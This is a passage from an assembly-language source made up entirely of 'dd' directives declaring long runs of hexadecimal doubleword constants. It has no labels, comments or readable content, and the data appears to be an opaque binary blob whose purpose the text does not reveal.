9074997Eh, 238337A4h dd 0F2E20800h, 14D2F093h, 2590B66Fh, 0A6914817h, 305B5581h dd 5C22A3h, 9493CB2Ah, 25C24B25h, 4CA259F4h, 20B4096h dd 7A6564h, 425AC29Fh, 699D6496h, 56E55B20h, 0E8E0C174h dd 0F2A30067h, 2680B256h, 444C4E10h, 80C8B8FAh, 3BEDBD6Ch dd 0EA960FE8h, 0C84E6286h, 95D5D360h, 0BA120EC9h, 5C0BED1Eh dd 0E5D44481h, 0F4701418h, 1131A223h, 87653A15h, 426123F4h dd 0C92BDE11h, 3C0B8832h, 0D4A028DBh, 83EC35Dh, 5FC6C48h dd 0CFAA9C56h, 0B6F5DC06h, 6F481431h, 11AC407Eh, 1FA4EA8Ch dd 8701C84Ch, 0A7B6D128h, 5960BDE1h, 0D22861C0h, 0FEEE9C40h dd 816A2F12h, 27E258A2h, 98406C30h, 0B21FFE64h, 0B4094980h dd 0C840CB96h, 3685C146h, 0A9A07B8Ah, 42F2149Eh, 72C1F04Bh dd 33EA29C6h, 3052A2D8h, 7B01C5E0h, 0C6B8544Ch, 2EE0E78Eh dd 0B6F809CBh, 0C800ED0h, 5DD278B9h, 0E4BE8090h, 26465Eh dd 3EB59EAEh, 9452892Bh, 0E12F01D0h, 71C82106h, 0E4C83588h dd 5202809Fh, 26C616AAh, 4EC560Bh, 0BC6AA4A0h, 0B5272F38h dd 0CEA988B4h, 144E0409h, 0B6690BACh, 0C2045C4h, 59843D2Bh dd 0B04A8524h, 4C3A4D93h, 0DD004723h, 946BA1DFh, 0C82406A2h dd 0D01B9B86h, 891B890h, 3551AC01h, 52CE43BBh, 9C9A2C34h dd 3C1D6980h, 0C281C011h, 30CE7934h, 1D3AE838h, 0A38B1D38h dd 333BEA45h, 90A44009h, 5FB8888h, 0F07B1AB0h, 0C3C402A2h dd 0B45C6B1Ch, 9096EA89h, 9F27194h, 0C343AA98h, 0F9E8A418h dd 7426E909h, 7950D964h, 3F921858h, 0F28BAFA5h, 0D802B583h dd 2E02BC72h, 74A4444Bh, 0E205000Eh, 0A8C0FE6h, 160983ADh dd 0C57E7368h, 600FC430h, 61120Ch, 0CB36C00Dh, 0EDB28B98h dd 0BD44B00Fh, 0B40E3235h, 497B063Eh, 2F146D8h, 0C753EC81h dd 1F8CE779h, 62EC006Ch, 9BCF5C4Fh, 4916090h, 0FA1847D1h dd 0E1786E0Eh, 0A6952279h, 41DCA0D2h, 56C7A3Ah, 80ABA43h dd 278098FCh, 465CCC96h, 71ED0052h, 6A1EFE70h, 0C31B037Bh dd 0BC59892Ah, 65E05388h, 0A17DB303h, 90570E68h, 15D55DBh dd 480D589Ah, 5414BBh, 4866F349h, 3E09B43Bh, 0A288B3h dd 60CCD02Dh, 6C3DBC2Ch, 700C5352h, 0CE00B2E6h, 0D369E8EEh dd 0B5B56DE2h, 4291601Fh, 13CF0480h, 63004F54h, 5D3CA8D2h dd 9148F42Ah, 4E1611DCh, 3D23382Fh, 0F630B204h, 13C5C888h dd 1F42C336h, 2B9C4488h dd 894B879h, 5181B86h, 8FAE75E9h, 0C10E88CCh, 4006983Ch dd 0D104BE93h, 0ED554000h, 0AEFA6D4Ch, 0DA0E0053h, 0E0AD4FFCh dd 7F6F39A5h, 72B481B0h, 0A60F3D0h, 4EA37826h, 0C810CBB8h dd 2C89C057h, 0C972B912h, 98AADC28h, 4676109Eh, 2F7C000Eh dd 0B565D4CCh, 5EC50706h, 7145F42Bh, 3499DE2Ch, 0BD0589ECh dd 0C736C3B0h, 0B4A27095h, 0A2BC0775h, 8F7ECCC2h, 1CA73740h dd 0E602C464h, 0FD8DE379h, 204CC451h, 0F883124Fh, 0C808CBBCh dd 55E0C052h, 0C6247843h, 0C10B61AFh, 299090A4h, 1D703AA2h dd 2E82EB00h, 12F00BD4h, 209604B0h, 777CC940h, 6A27019Dh dd 50B4DF2Dh, 0D5CAE078h, 476D4427h, 60A64434h, 7C2D1E06h dd 0E05705B8h, 0C07DD00Fh, 4DB9C764h, 0E4B327B0h, 7942C009h dd 45A55Ch, 4161A664h, 0F6D44136h, 94C104B1h, 0B0592B63h dd 93A82C79h, 41E01700h, 4E4530E2h, 29A40078h, 524F2E51h dd 0AE25112Bh, 0F2BC02DFh, 0F2730455h, 30A6E200h, 31008AAEh dd 0C33EB2BAh, 484E9C28h, 10E8CCA9h, 0CA7A008Ch, 1B9DF196h dd 7D004928h, 0E8F99C79h, 134841BBh, 4A3E612Bh, 40C4CCA0h dd 4F11E2B2h, 96F90380h, 20A413F8h, 0FD0E6EA4h, 0A3BF7F09h dd 7078D322h, 0A0081AEh, 0E92FB01Dh, 5AE7F10Ch, 37983854h dd 2C363B44h, 92E05E8Ch, 0E0E897A5h, 1873EFFFh, 0D2A00105h dd 0CCA850DAh, 248CC3ECh, 4D90BB7h, 0BC7D1EE4h, 0E33CC258h dd 89858D5h, 0ABC93D5Ah, 0AE0E4D0Fh, 763FA56Ch, 6EB46080h dd 488675C2h, 0EE003C0Fh, 31EC4159h, 4D4FC1F4h, 5823883Bh dd 0FCAD0800h, 48C82A5Ah, 0BE117491h, 778E0BD0h, 21944825h dd 6A1084BBh, 9B8CB310h, 0F958F2F1h, 8C44FC34h, 8BDB3500h dd 38AB3B97h, 71E09092h, 0C9E58054h, 1C467926h, 0B8807C2Eh dd 86C706D8h, 0A817624Fh, 0B45E1596h, 0F8E03A45h, 0B42A0610h dd 91A94F57h, 0C216A3FEh, 0FC4238FEh, 6408C3h, 0A048707Bh dd 2085049Ch, 0D8E0DFADh, 0A43F12ECh, 0BB184902h, 0CB44CC72h dd 34BA13B2h, 0B9988569h, 8CC0A868h, 2D1C960Bh, 3D0885E5h dd 4C79447h, 1B8FA300h, 2E4B0095h, 0EC5D1D9Fh, 0E600BC09h dd 793F9377h, 5B5E2BDFh, 0DBC40F1h, 85189788h, 83143B04h dd 98D25C09h, 0C0D0CD81h, 0DAA594F0h, 47D6B901h, 0BE01FCC4h dd 0DC2DE181h, 0DC63FF9Eh, 0C71CFBC1h, 726488DFh, 0A327E30Fh dd 0EA2A4873h, 7958F1E5h, 29481847h, 16909ABCh, 4C64F3F6h dd 8CA7B828h, 12D5FB3Eh, 0C804909Eh, 7CB86AF9h, 21C03193h dd 0CE2FFCC7h, 7DE6CC00h, 9B1C915Fh, 92731E10h, 8EC58575h dd 5A08B8ABh, 9888FC80h, 80AE022Fh, 0A72A2CB6h, 0B49E745Ch dd 81B39E08h, 51A09D3Bh, 0A29C2395h, 9A5A3045h, 513E4224h dd 8FBF5301h, 0C078C4A0h, 58ECA848h, 9247018Ch, 9181FFF6h dd 0CE0C30D5h, 7FB4A940h, 282B4126h, 0E72780B8h, 97679799h dd 3A91D09Dh, 41F3EB83h, 6B45FEC9h, 0FAE0F800h, 54995DABh dd 0ECFC423h, 87183764h, 9E3C1DC0h, 9DB2F2h, 898D6FF0h dd 8BCB032Bh, 0EE12304Eh, 8F74D0B8h, 5CE688D3h, 0E0082EE1h dd 0B9093C46h, 0F126D3DBh, 185C715Ch, 209812C8h, 0A36CA4E4h dd 21A6CA10h, 8BED3C13h, 0C124C80Ch, 6FCB744Ch, 383D3804h dd 885BF4EDh, 81200A3Ch, 0D154B1AFh, 75391853h, 33920182h dd 0F72AABA3h, 7C8C3043h, 0A5399496h, 11E09728h, 7DC9835Ch dd 2E8C88B6h, 38C91B4h, 4B21A330h, 30F5282Ch, 0BE7C1D2Fh dd 0AC00046h, 0B3016B5h, 7C382585h, 34641801h, 0E24C30CFh dd 8D0652Eh, 0A0A35C12h, 76303BE2h, 0C21D5BF9h, 0DCDE7E08h dd 0A70205D6h, 2CF476Ah, 0F88835E4h, 0F1A37A23h, 402E010Fh dd 2ADC99A4h, 974EEB08h, 9427D0CCh, 51465CF4h, 0A27FC00h dd 0AEF8BF21h, 10A84648h, 6C25527Ah, 0F3C0286Dh, 316F0F5Ah dd 7250A142h, 83CA004Ah, 8244023Dh, 0D5893F26h, 5E80E4D4h dd 0FC64B67h, 8D103E7h, 0A438641Eh, 0B6DB40E8h, 2DF05D49h dd 454CE662h, 746E7A64h, 0CCEA3F03h, 0CBB065E7h, 5209809Eh dd 4062ED2Bh, 0BD496654h, 9300303Dh, 9895F84h, 4FA700A5h dd 0B58DC816h, 8BB7C10Bh, 0C360ED8Ch, 63B0121Ch, 0CB0B2AC8h dd 84EB339Bh, 74B09570h, 0A8960A87h, 10BC9F18h, 0CE3C0B31h dd 58645381h, 0D91D07E2h, 3E4EBA59h, 0E02C8BD2h, 7A37B54h dd 633236F0h, 0BC11F4CAh, 4BEA15B8h, 0B2437BD0h, 82949A4Eh dd 0DE510C33h, 978F60A8h, 0CC58BE95h, 2CBDA470h, 0A000B3A8h dd 115B5C34h, 4C4BD422h, 48176C54h, 9E54D13Fh, 4CAC0432h dd 0F26CA2D2h, 0C7F93015h, 9E4F9B06h, 9018A003h, 0F57B99h dd 27A82426h, 686B422Dh, 34EC4E00h, 47167688h, 2A73010Fh dd 0BB641454h, 9C08306Bh, 0DC9DCC2Eh, 9244674h, 0C1DD51B1h dd 74694830h, 9298274Bh, 1512435Dh, 98261130h, 5E3AF220h dd 6ED8D143h, 0A862A8h, 2795863Bh, 0D11292h, 0D405FDE6h dd 49BCA01h, 0F08EAF12h, 217E5C04h, 7B3DE342h, 0E2B0A255h dd 0AC7B0B33h, 3B1F1E70h, 0BB005012h, 5742EAF2h, 83137FE3h dd 24B4B0B8h, 0FDAB047Bh, 0F20809AFh, 30C3F250h, 3E07E180h dd 929CE75Bh, 53DC9009h, 0BF77019Ah, 0EC972116h, 10842BB4h dd 58E18DBh, 2AB8DC42h, 58A82C5Ch, 81EF620h, 422CDA9Ah dd 0C0EEA43Eh, 4318F974h, 121B7400h, 8F5071C5h, 6084B464h dd 14DAFC2Dh, 60FC6D95h, 0B65AFCEEh, 2A362D04h, 0C2AF45F4h dd 0CDE4A9Bh, 524676h, 3E791331h, 121C5864h, 0C80CF5B4h dd 7BE03480h, 59EB660Fh, 3104C0C8h, 0B8EE8DEAh, 0DF39096Fh dd 0E8CF2Bh, 0F01C818Bh, 6901985Fh, 94BAB2BEh, 34540C64h dd 0AAF8DDC1h, 5523502Fh, 5C4F7E02h, 0C1FC89DAh, 9F004100h dd 4D27FBCAh, 11181D6Dh, 368980AEh, 39B3ACFh, 6AB8A712h dd 49A22C5Ch, 568028B5h, 77ECB5EFh, 5AC01C71h, 219689D5h dd 0A2F93820h, 0DD050F60h, 0E01D3B07h, 9B93D4E8h, 688F8094h dd 2F596BA1h, 0DE762B4Eh, 2875F305h, 2A3AC3h, 15238779h dd 51F4A25h, 88DAA903h, 0DBF0B1B8h, 0AD7F80E1h, 1F8266Dh dd 0BE3740B4h, 44039232h, 1CCD62EEh, 7C1DE07Fh, 4D22017Eh dd 590730EFh, 0A052C63Dh, 0F589A13h, 6110FC1Ch, 7BA02E93h dd 396A078Ch, 633DDD2h, 2700919Fh, 0B8BE2B49h, 8C8D3Fh dd 47A069D0h, 0C6E8A695h, 0D430465Ah, 0BEE4AE72h, 3A465EC8h dd 554BB901h, 31A1DFC1h, 0B04AE21Ah, 0E7580453h, 74961271h dd 0D395006Fh, 0AAF27909h, 89126896h, 4FDCF4h, 1486DF2Fh dd 0A4B6D0B3h, 789F1231h, 493B8F2Eh, 0FCF161F8h, 18C9C15h dd 8CB545C7h, 30809756h, 690CB2Bh, 0F8F6CA61h, 11C81FBDh dd 998A8027h, 616B3666h, 0CE34801Eh, 28FFE143h, 5CA4C0B4h dd 1C39C78h, 35252E63h, 686EE0E3h, 2A433C1Ch, 5617B040h dd 4045FE8Ch, 80A465A6h, 0E721C030h, 0C8D10E61h, 586C3100h dd 0EF94ED7Bh, 8CA516CEh, 0F3EF1636h, 2CB606CCh, 4B51BC6Ah dd 237C3E9Dh, 44E401C1h, 7098222Bh, 4B5A6068h, 2FF5A044h dd 34A84908h, 386B102Dh, 54B6B87Ch, 25AA01Ah, 4CAF98F4h dd 6876F14Eh, 13BD9B80h, 0FA77D4CDh, 0C1B60BD5h, 0A580D375h dd 0C3BF9EF5h, 566A1502h, 0A2A386A4h, 0DE8542E8h, 221DDC50h dd 6DC0EF38h, 2A4B2063h, 1290BC51h, 30740204h, 0D85115F7h dd 64EC4525h, 218A6057h, 0E8B601A8h, 7CB352BEh, 238C405Eh dd 0E295BAFAh, 61A07E30h dd 0DB06C343h, 1379182Dh, 0F6769814h, 0D2F10032h, 2AFB538h dd 9400F816h, 0C03DC3AEh, 0F4DB9C5h, 413EF346h, 40E14A4Fh dd 0C4DD22BDh, 676EBC78h, 12A36308h, 2EE598BAh, 514600F6h dd 0DCAC2A5Dh, 30F1B2F2h, 4238B92Ch, 0CBE31D88h, 0A3BD9F03h dd 3B083390h, 0C76321h, 5D7729F3h, 8659E500h, 9BCBD94Eh dd 1C8A00F1h, 0CD2B5F56h, 6F0FA3EFh, 0E74376FAh, 0B940522Ah dd 0D93D22h, 0EED87C7Dh, 7F60469Eh, 10EB9D74h, 37DF11Fh dd 3147CB2Ah, 19004D2Bh, 96AE9DDEh, 4F76C3h, 0F701B21Eh dd 446024CCh, 3CA6B618h, 0CC9DD28h, 3FF578BAh, 0E7009311h dd 2E2A7B05h, 66C25166h, 21AF08FEh, 5CF7D07h, 6B502808h dd 0C291EDCCh, 47B202C8h, 696FC05Dh, 0DF3B01E7h, 0BAC8FF19h dd 0E2304893h, 2A880508h, 40AEC4D6h, 6905CA82h, 6EC63A67h dd 6392A0E4h, 2A85D8E1h, 730187FEh, 0F38905C9h, 0A853CFC8h dd 0D69E88h, 2A5AE7FEh, 0B0F866A6h, 8E8D31CEh, 340A80BAh dd 0F2EA03h, 0EFC1B2DEh, 5304F6A9h, 0A4217306h, 0E89099h dd 4D3B0F34h, 0A6519139h, 226A4B02h, 0B0CE4377h, 117DD6DCh dd 88C6D87Fh, 0EE948144h, 2216C17Dh, 1CED232Ch, 0CBD8047Bh dd 233D6260h, 0D2808388h, 0C1EABE5h, 0F280FC41h, 4E20D679h dd 0A3CD0930h, 30109D71h, 0A40C805Eh, 40DECE3Ch, 5BC1B73h dd 94E42096h, 23602B3Ch, 0E841033Ah, 23D8BD33h, 0DC5019DEh dd 64917720h, 1B184479h, 0AA1228F8h, 4C3A11CEh, 0BF079923h dd 6280210Ah, 1E04B70Dh, 9333EF5h, 0F42E4B83h, 128099E0h dd 960313D5h, 863A3F30h, 17A6A331h, 78FF21h, 0BE7B76E4h dd 5601263Ch, 83B92B9Ch, 0DFCA47Dh, 3FF61238h, 0DA740A47h dd 0E84508B8h, 1F30E209h, 8096117Ch, 5253B801h, 0EE79002Ah dd 0DA12D27Ah, 8EF09C73h, 954A60C6h, 0AA900A9h, 72898AF6h dd 0D2399BD1h, 0F5E1948Dh, 0E0C046E8h, 0C22B18h, 0A59B5948h dd 646074F8h, 3100977Eh, 2A7AE73Ch, 29CA895Bh, 11F44275h dd 7DD580CFh, 8CCED880h, 934744h, 914E7DEDh, 0E41B030Bh dd 88DA6A26h, 0E1EBB23Ch, 1B312094h, 5B00845Fh, 866FC232h dd 2F47FE9h, 0A65D0BFBh, 884A4982h, 9265C002h, 237BC003h dd 0DB00C999h, 7ED87A7Dh, 6068919Dh, 0B17DF31Dh, 29E03Ah dd 8E38E70Ah, 34A4085Dh, 0CE69323Fh, 0C1378800h, 0FAF88644h dd 0D0E2F4A7h, 49667B83h, 0AD3918E6h, 3B43DB2h, 277339D1h dd 0F1682363h, 0E404871Ch, 3A6280CBh, 878F8423h, 8F2A07Fh dd 62D25161h, 8E5B7197h, 0FDC0A8A0h, 0F00E139h, 43507217h dd 0F28A5Ch, 3A0BDA4Ch, 0A4308C87h, 0E381C100h, 0D151BE01h dd 40BA60DEh, 3CDB172Ah, 0CC587C9Ah, 168A8120h, 18852E93h dd 951DC421h, 941D6Ch, 24A9927Bh, 4C6EB52h, 0DE3948h, 4F81BAD2h dd 8D257013h, 0B7032B77h, 0B0F32641h, 9765E924h, 0C1293980h dd 2B5AC468h, 20D0E937h, 0A9AF0BC0h, 10EB6F40h, 0A219EE8Ch dd 490E4300h, 0F05A0F9Ch, 3EFD018Eh, 0DB1FEC67h, 33028670h dd 0C31E4D2h, 3D812D72h, 127FAF80h, 88E783Eh, 1274818h dd 0A87B44B0h, 0C7A070FBh, 95A5B419h, 21811808h, 0C5A88367h dd 8DB1F44Dh, 3580FE50h, 58DCFBB8h, 6548641h, 0B5ECCB58h dd 0E3DC0227h, 0B11AFFEh, 0EAF02D60h, 6C4FE0C3h, 3F970B2h dd 1D707163h, 480E3121h, 99E19CA5h, 0DE39B60h, 5535EC28h dd 885C0B89h, 0B924C01Ah, 3518D1D5h, 8A682EA9h, 5F783CCBh dd 98E43818h, 115EB6Ch, 0B8530Dh, 5D732232h, 19942EC9h dd 826D128h, 9121803Eh, 0C672731Ah, 83AA00F7h, 25A7093Dh dd 0B92835DFh, 0CA06802Bh, 0B3938424h, 5E9000F1h, 58292113h dd 3133E736h, 1C60868h, 1356F221h, 41347B99h, 31A49A4h dd 0DB38D15Fh, 5DC9A883h, 18282E51h, 1A468840h, 0F9A87902h dd 19318DADh, 0A8816510h, 710CC47Dh, 192A2BECh, 0B5D414AFh dd 6A00BC95h, 0D53E5E4Fh, 8CA785F3h, 93603B44h, 6100A892h dd 0B6B54B7Ch, 6C99F8Ah, 0EC728483h, 0B01EF12Ch, 320C70FCh dd 28541126h, 469C0A7Fh, 135F0283h, 31602920h, 57F310C4h dd 0D0380413h, 91D5CF33h, 80C0927Ch, 41C97E21h, 382BBFB4h dd 381C7AA9h, 0B7AC0029h, 85652EDAh, 91F0A000h, 0B0117349h dd 0E7EA3159h, 0D8FDCB49h, 0CC28727Ch, 0F4669048h, 721E108h dd 5FE80526h, 0CAF5703Bh, 0CCA72F8Ch, 5F601B44h, 59087805h dd 580DD0h, 96230424h, 2BE6C770h, 362AFD04h, 8033F9h, 146D0DD1h dd 0D4035F83h, 1D010623h, 0F6C96273h, 98884718h, 35732E15h dd 33943A7Fh, 67B09CCCh, 0F800E2EAh, 0E4288E47h, 117A776h dd 461ACAF4h, 0DA3402F2h, 0B8083464h, 7453D1Dh, 313C7863h dd 0F1D271A1h, 33F0249Dh, 31C3D671h, 0CC414570h, 99490D06h dd 6DA5291Dh, 13239B80h, 2604CD86h, 146BEE2Bh, 1623AC71h dd 0FDA87D01h, 1E186DADh, 856988h, 0A1DD72A8h, 0B22293E1h dd 4D2D710Ch, 199F913Eh, 31284B80h, 7A44224h, 11731C30h dd 88FEC963h, 14978045h, 4C0D873h, 23DB3100h, 0B8A92DFBh dd 852C98E9h, 6747C428h, 7532CD21h, 90581F4h, 5ACF361Eh dd 61858C04h, 29FD1361h, 10C731D6h, 0FA1359F5h, 0FF4F0063h dd 0DF911F04h, 8098B010h, 600A7978h, 0AC93DB54h, 1908C424h dd 0D4B10725h, 5702B28Bh, 87E18846h, 0C35D2002h, 406C8922h dd 0CC448150h, 45211608h, 0F7C35500h, 0C083E4F1h, 0BD8B0005h dd 7FA0B9Dh, 7607BE90h, 5077C40Fh, 0EE85211h, 0BBB63B80h dd 743B1958h, 201F7A00h, 41F32BE7h, 0F2AC0CCh, 5F585A31h dd 0E49005A1h, 767C98Dh, 40C6A5Ch, 3E82857h, 0C35F3957h dd 887C8911h, 57478014h, 0B5039EC3h, 2416C929h, 59875111h dd 4C8922C3h, 41101531h, 0E802C351h, 0E995FFD0h, 5225852Bh dd 0C35A2321h, 8C5489C8h, 7421D44h, 352AC352h, 0E9C5A048h dd 753A4D3Fh, 250CB03Ah, 0D8B817h, 1546BE1Fh, 8E4C0FA0h dd 9D8D2702h, 97FDD711h, 8514913Ch, 0D604572Fh, 5E010D7Dh dd 0C5FFB70Fh, 555291D3h, 17F20394h, 73A33F30h, 0BD230CDAh dd 89561F39h, 1D259D18h, 0DFE8B0Ch, 104985FFh, 88DF0E10h dd 92BDC019h, 97002645h, 43A9BFFEh, 20E97E78h, 0E86E087Bh dd 815D002Fh, 12EF9EDh, 0C7BE07FEh, 0EC014918h, 239219BDh dd 2CC3D07Dh, 0F665860Fh, 0B5290C0Ch, 9DB51CB9h, 0C0CC530h dd 70815E53h, 8429DFE3h, 5D1BE1B5h, 11E4988h, 850FDB0Bh dd 7408C2A6h, 232000D6h, 0E16C8417h, 2533BD33h, 0B1835E05h dd 0D4B12D06h, 813584B8h, 0B5895139h, 288513E5h, 489CE95Fh dd 5BC35341h, 5C8991C3h, 43831123h, 5EF6C353h, 19890644h dd 5C27B185h, 4288DAC7h, 0BE00B886h, 27315B9Ah, 79D460E9h dd 8C1BE824h, 0F4EBA50Eh, 36CA9D65h, 0A90AAE98h, 35CD3D16h dd 1DC8DF4Eh, 3FB9B6C1h, 6DFA2E8h, 63D7420Eh, 55206C50h dd 8D5F292Bh, 5666B2FFh, 0E4C35E30h, 22744689h, 5646001Ah dd 931896C3h, 7B00163Bh, 0A7CF81D3h, 0EC03397Eh, 89FF4823h dd 505CC873h, 91C358C3h, 1C184489h, 504088h, 0F98AF4C3h dd 52DD3D7Ch, 0BEF85E31h, 6F071F75h, 0DB8C6600h, 450C3F6h dd 0B78B3EE6h, 660D38CFh, 28D226BFh, 10A50C65h, 9014F33Dh dd 929A800Fh, 5C62DE5Fh, 4D0401FFh, 0D1A254C8h, 8705E9D1h dd 3678D61Fh, 0DBC17A74h, 98919050h, 2DE91859h, 0E47BF7Dh dd 0B0616E9Bh, 0BDB53301h, 60249229h, 8151A010h, 9E8A68Eh dd 0D0051380h, 0D398761h, 0F7AF2603h, 0D05FEF8Ah, 6070E6h dd 0DE24FFBEh, 77E1811Eh, 7D0A461Fh, 1D71E4C9h, 0C019114Ah dd 162391E3h, 29CEC453h, 70AB100Eh, 7C816688h, 294A7BD7h dd 0D1EBD8B6h, 7A1818h, 5A1C0D7Fh, 9DE68160h, 86D5A83Eh dd 235D8D89h, 8B610476h, 9F06BAF7h, 2E2893B4h, 40DDB003h dd 70B08B18h, 0C6310860h, 610537h, 6E94BBA2h, 4797CE81h dd 5E0B3902h, 4704E8C1h, 61154490h, 0F7C466B4h, 0C462A5E2h dd 9B9A6018h, 2DED0E10h, 2E899589h, 570F2029h, 0F050648h dd 0D2300587h, 22CF7AF6h, 8D912B61h, 0D181C71h, 4A507107h dd 0C28E1DF6h, 90880FBEh, 34B50BC7h, 17C32D1h, 29241CDCh dd 168B728Dh, 4025B5FFh, 0C08C9B30h, 857124C8h, 1DBD0C30h dd 1920952Dh, 35017E10h, 90C2F5Dh, 7708F899h, 1B465C61h dd 0BEBCFC03h, 71A84CC5h, 8A6E0F31h, 37E40F21h, 0DA13AD6Fh dd 0B71220E9h, 0A61EEA0Eh, 3CC013FCh, 2F830F61h, 8E1ED402h dd 8C1DE8h, 0B4B564B3h, 75ACBFA4h, 66DA2312h, 58B98615h dd 8C1AE885h, 798CB700h, 3401722Dh, 0E589520Fh, 0B5109058h dd 9B75316h, 0C5EFC51h, 92F97C91h, 78439B80h, 5BFEE14Dh dd 0F53EAD1Ch, 92168D8Fh, 30B9C504h, 0BFAF0412h, 2E9394F3h dd 0F1C2371h, 26C0CB50h, 61DAE570h, 9BA1697Bh, 6082215Fh dd 2FF01D2h, 11649758h, 72DA801Ch, 1289E198h, 1371A916h dd 60411AECh, 1338E82h, 15C45567h, 0F591C160h, 22B984A9h dd 0BE661231h, 1CC34C11h, 8107C183h, 6BD040EFh, 0B8D93B09h dd 14F55DECh, 0F41F74F8h, 9B016E7Ch, 71B77B2Ah, 0E7EDE720h dd 0A1120405h, 0B8021311h, 24C1F6D9h, 0BD8941B3h, 18421659h dd 6C31EA09h, 0FA0B48BAh, 8100BF49h, 3E5E80C6h, 32C45B5Ah dd 2B0434D1h, 88B5CEC3h, 0AAE2C019h, 0FA2CE14Bh, 0A11A26A9h dd 759C4085h, 343D8025h, 8849084Ah, 0C4604754h, 0F86A601Bh dd 299E3A0Ch, 0E144512h, 7D10ED33h, 5F2AE934h, 1D23672Eh dd 0F8936700h, 2DBD0BFh, 0CCA76ABEh, 64AC08Bh, 7AF3CE8Eh dd 0E2E90E08h, 8DC6605Ah, 4985C7AEh, 33078F19h, 0E41A6341h dd 0E73400Dh, 1C0B318Eh, 8F9C8FD9h, 7AEDC539h, 0A273238Eh dd 8BCE301Ah, 0B4F00D01h, 0D681A2B1h, 4BD783E0h, 855D387Dh dd 0BF413060h, 3D583836h, 15D1FF57h, 18887C4Eh, 0A1A5A9C0h dd 9AEB58ABh, 6C21DE0Bh, 775B5D32h, 0A9EE70h, 0FDCF11F9h dd 2A7187E9h, 0A5607090h, 0D989BF57h, 7D4A5951h, 0AFBCA491h dd 0D6B23B01h, 9056055Ah, 14A23E33h, 60E80530h, 0A9951313h dd 3A004436h, 1B086468h, 171CB8h, 52E3D057h, 8918DED4h dd 7505B524h, 5A0E5F9Ah, 20ED9887h, 810315B1h, 852503D7h dd 2D0C0465h, 8E4BBBA1h, 0C01D88B7h, 13A289B5h, 5D117702h dd 600AB38Dh, 8001853Bh, 7D20B533h, 28297628h, 54492495h dd 0A0E9B399h, 0F6D777Dh, 7D7AE2C9h, 882BAE40h, 4301015Bh dd 0E0DE2CD3h, 78EAE366h, 602340F6h, 0F79D8EFh, 0B510679Ah dd 0E82C21C1h, 0A567409Dh, 0C607EBDFh, 0D9958B2Fh, 356D910Bh dd 945B4998h, 6181298Dh, 16A25F23h, 4D917430h, 4C7807EEh dd 16E8335Fh, 0D088188Ch, 18D190EAh, 38CCE980h, 80C8FFF7h dd 288C15E8h, 209BDFC4h, 6A980D55h, 1B3A70E9h, 0CF305689h dd 701D417Dh, 5E126858h, 80D0E95Fh, 50DB32h, 77B7D1B4h dd 0C18BAFA5h, 0D7CEBE01h, 4EB6B2Bh, 0E4B067C2h, 761F6018h dd 1296E2CAh, 0C851F08Bh, 4FB0F2BEh, 0DA9AD506h, 617C5AA0h dd 858DA0F3h, 90382499h, 2020534Bh, 34977BBh, 0A79412FBh dd 30715146h, 0EE905031h, 0F4222D11h, 3706E918h, 590BAA28h dd 470B9E1Eh, 601964D3h, 1273A2Dh, 0BE7907EFh, 42229D46h dd 6D7986BCh, 0C461423Dh, 0DAFE38E8h, 0C18068D8h, 961C65E7h dd 52936050h, 8E34FF30h, 0FCF1007Fh, 0D1FD47A4h, 0BBF673DEh dd 66310F00h, 5A1CF8BFh, 89610058h, 0F0BE2404h, 126936AFh dd 298C62CEh, 11741D7Eh, 5C0C8216h, 8045D9F3h, 1373EE81h dd 15B60A11h, 41164DE9h, 84F774F6h, 87425E24h, 2210087h dd 0AE2C219Dh, 99A4BEC0h, 22B656E2h, 9164676h, 64766282h dd 22F0123h, 0B1D28087h, 0C51F6C90h, 0F9A34DE9h, 1238F284h dd 1C23A53Ah, 7C6AE506h, 0E3E00B1Eh, 918BA622h, 1ED1176Ah dd 52545BE4h, 0A8C1BE8h, 0A2CD83E3h, 93E91777h, 0CBB85693h dd 4E0091D4h, 10A070BBh, 4C4312F8h, 212DB85Ah, 0BF6D0B89h dd 0D95905C2h, 0B19A669h, 636620CDh, 7A608A44h, 10DC9E9h dd 3B038500h, 4801E3A6h, 8BF81CCBh, 7238898Dh, 8260611Ch dd 3778BD83h, 4B1356D9h, 1B234B3Fh, 0D7E42300h, 0D823285h dd 50E91D7Ah, 0C06D5B21h, 48A7B6DDh, 8D2E171Fh, 0B0F61A86h dd 50A46CD1h, 1324DD08h, 829324E9h, 1893F7DCh, 3BE5784h dd 890C4E78h, 3517EDF9h, 3DD61D2Ch, 63A841h, 7E59CAAFh dd 2DBD03E1h, 24682741h, 0A50E60CBh, 0E852A03Fh, 53761FD8h dd 489DB280h, 1ECD775h, 0DC800234h, 6C615E7Bh, 0A2985314h dd 26D3018h, 229A4D16h, 968F34C8h, 15467C1Dh, 1A0B6627h dd 0BE040044h, 10E94948h, 0C320AA4Eh, 0F3133EA3h, 643B2900h dd 737C47BDh, 65175B72h, 88838D66h, 1F25990Ch, 50FB4990h dd 0B7CBDF0Bh, 0BC48DB2h, 906442BEh, 6FE08BE6h, 50245CBh dd 0C1F56377h, 0A5B1418Fh, 312683ACh, 91B0F851h, 6007087Fh dd 89698529h, 70E6A721h, 0C0AC490Fh, 714BE4F9h, 700CD6Eh dd 3C8EB3B1h, 0EB6205E1h, 916F994h, 4046A4C2h, 33452100h dd 8FFF958Ch, 0FD901CE2h, 3F2D4274h, 0BF4706BAh, 36015E4h dd 6CE98B38h, 8C14F820h, 830F4B12h, 0F2C91561h, 0E918963Ch dd 0DA0D190Ah, 0EFACF900h, 414662B2h, 0D82B2EA9h, 0E902DEE2h dd 0F5693A3h, 0F505E48Ch, 1C8DD48h, 0A45F76DAh, 7084DFB8h dd 8B056673h, 8E0F93FEh, 0A4EC141Eh, 423D4B0Fh, 5BFC5E10h dd 0D69FA6AFh, 7ECBD214h, 1C2CC0DFh, 0F89C6B8Bh, 447704D0h dd 0C4A614B5h, 48B0A308h, 7B093572h, 3524501h, 564E5B5h dd 0A03F905Eh, 14096038h, 1B0EB1BDh, 615A6D22h, 6862F148h dd 1D465461h, 8F5BDE00h, 494BB20Eh, 32F77716h, 0E08C4316h dd 9F3324DEh, 4017AE55h, 0C4614F63h, 4D399924h, 465CF1E8h dd 9D40119h, 27EAA991h, 9BF5120h, 24F9B874h, 5C2B5628h dd 5E041746h, 0C1573523h, 52711D2h, 92580D14h, 5889D4DBh dd 0BF1AFB81h, 9032E8h, 0D7F44D8Ch, 0B91B1D5h, 297AF661h dd 0F29FA64h, 34249180h, 2D220908h, 0DF810800h, 9417AA37h dd 7F045845h, 0D2130869h, 0E92470E7h, 0FC8DE4h, 0CFF70ADBh dd 0AB8EA803h, 0E6437E00h, 8FBABF42h, 26ED7477h, 7E1907B9h dd 